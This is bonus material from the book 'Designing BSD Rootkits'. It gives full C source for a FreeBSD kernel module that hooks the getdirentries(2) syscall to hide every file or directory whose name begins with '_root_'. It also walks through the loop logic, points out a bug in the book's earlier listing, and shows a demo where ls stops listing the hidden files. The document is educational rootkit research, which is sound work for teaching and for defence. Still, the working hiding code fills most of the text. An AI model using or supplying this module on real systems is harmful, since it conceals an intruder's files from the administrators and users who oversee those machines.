/-------------------------------------------------------------------------\ <--> Designing BSD Rootkits: Bonus Content <--> \-------------------------------------------------------------------------/ --[ Hiding Multiple Files or Directories Last modified: 2008-10-27 Initial draft: 2007-08-30 The following is a getdirentries(2) system call hook designed to hide every file and/or directory whose name begins with "_root_". This hook is an update to the getdirentries(2) hook described in Section 6.4 of Designing BSD Rootkits and is based on code written by pragmatic. It was tested on an i386 machine running FreeBSD 7.0-RELEASE and FreeBSD 6.3-RELEASE. ------------------------------------------------Listing 1: getdirentries_hook.c #include #include #include #include #include #include #include #include #include #include #include #define PREFIX "_root_" #define LENGTH 6 static int getdirentries_hook(struct thread *td, void *syscall_args) { struct getdirentries_args /* { int fd; char *buf; u_int count; long *basep; } */ *uap; uap = (struct getdirentries_args *)syscall_args; struct dirent *dp, *current; unsigned int size, count, length; int flag = 0; /* Read directory entries from fd into buf, and... */ getdirentries(td, syscall_args); /* record the number of bytes transferred. */ size = td->td_retval[0]; /* Does fd contain any directory entries? */ if (size > 0) { /* Allocate kernel memory, and... */ MALLOC(dp, struct dirent *, size, M_TEMP, M_NOWAIT); /* create a local copy of the directory entries. */ copyin(uap->buf, dp, size); current = dp; count = size; /* Iterate through the directory entries. */ while (count > 0) { length = current->d_reclen; count -= length; /* Hide this directory entry? */ if (strncmp((char *)&(current->d_name), PREFIX, LENGTH) == 0) { if (count != 0) { /* Cut out a directory entry. */ bcopy((char *)current + length, current, count); flag = 1; } /* Adjust locally the "number of bytes transferred". */ size -= length; } /* The last directory entry always has a record length of 0. */ if (current->d_reclen == 0) /* Get out of while loop. */ count = 0; /* Any more directory entries to look at? */ if (count != 0 && flag == 0) /* Point to the next directory entry. */ current = (struct dirent *)((char *)current + length); flag = 0; } /* Adjust the getdirentries(2) return values. */ td->td_retval[0] = size; copyout(dp, uap->buf, size); FREE(dp, M_TEMP); } return(0); } static int load(struct module *module, int cmd, void *arg) { int error = 0; switch (cmd) { case MOD_LOAD: /* Replace getdirentries(2) with getdirentries_hook. */ sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries_hook; break; case MOD_UNLOAD: /* Reinstate getdirentries(2). */ sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries; break; default: error = EOPNOTSUPP; break; } return(error); } static moduledata_t getdirentries_hook_mod = { "getdirentries_hook", load, NULL }; DECLARE_MODULE(getdirentries_hook, getdirentries_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); ------------------------------------------------Listing 1: getdirentries_hook.c As you can see, there isn't much difference between this hook and the one shown in Section 6.4 of Designing BSD Rootkits (i.e., Listing 6-4). In fact, the only major difference is in the while loops. In Listing 6-4 of Designing BSD Rootkits the while loop is written as follows: ------------------------------------------------------------------------------- while ((current->d_reclen != 0) && (count > 0)) { count -= current->d_reclen; 1 if (strcmp((char *)&(current->d_name), T_NAME) == 0) { if (count != 0) 2 bcopy((char *)current + current->d_reclen, current, count); 3 size -= current->d_reclen; break; } if (count != 0) current = (struct dirent *)((char *)current + current->d_reclen); } ------------------------------------------------------------------------------- On the other hand, the while loop in Listing 1 is written as follows: ------------------------------------------------------------------------------- while (count > 0) { 4 length = current->d_reclen; count -= length; 5 if (strncmp((char *)&(current->d_name), PREFIX, LENGTH) == 0) { if (count != 0) { 6 bcopy((char *)current + length, current, count); flag = 1; } 7 size -= length; } if (current->d_reclen == 0) count = 0; 8 if (count != 0 && flag == 0) current = (struct dirent *)((char *)current + length); flag = 0; } ------------------------------------------------------------------------------- As you can see, besides switching [1] strcmp() to [5] strncmp(), there is only one considerable difference; the addition of two variables: length and flag. The length variable is used to keep track of [4] current->d_reclen, because if the call to [6] bcopy() occurs, current will end up pointing to the next dirent structure and, without length, the subsequent subtraction from [7] size would be incorrect. Note: Listing 6-4 of Designing BSD Rootkits should also use a length variable. As is, if the call to [2] bcopy() occurs, the subtraction from [3] size is with the next dirent structure's record length--not the one just hidden... oops! The flag variable is used to ensure that if current ends up pointing to the next dirent structure because of [6] bcopy(), not to [8] advance it at the end of the loop. Without flag, current would advance twice in one iteration skipping a dirent structure. The following output shows getdirentries_hook in action: ------------------------------------------------------------------------------- $ mkdir test $ touch test/_root_1 $ touch test/_root_2 $ mkdir test/_root_3 $ ls -l test/ total 2 -rw-r--r-- 1 ghost ghost 0 Oct 27 18:01 _root_1 -rw-r--r-- 1 ghost ghost 0 Oct 27 18:01 _root_2 drwxr-xr-x 2 ghost ghost 512 Oct 27 18:01 _root_3 $ sudo kldload ./getdirentries_hook.ko $ ls -l test/ total 0 ------------------------------------------------------------------------------- --[ References pragmatic. "Attacking FreeBSD with Kernel Modules: The System Call Approach." The Hacker's Choice, June 1999. http://freeworld.thc.org/papers/bsdkern.html (accessed October 27, 2008). --[ EOF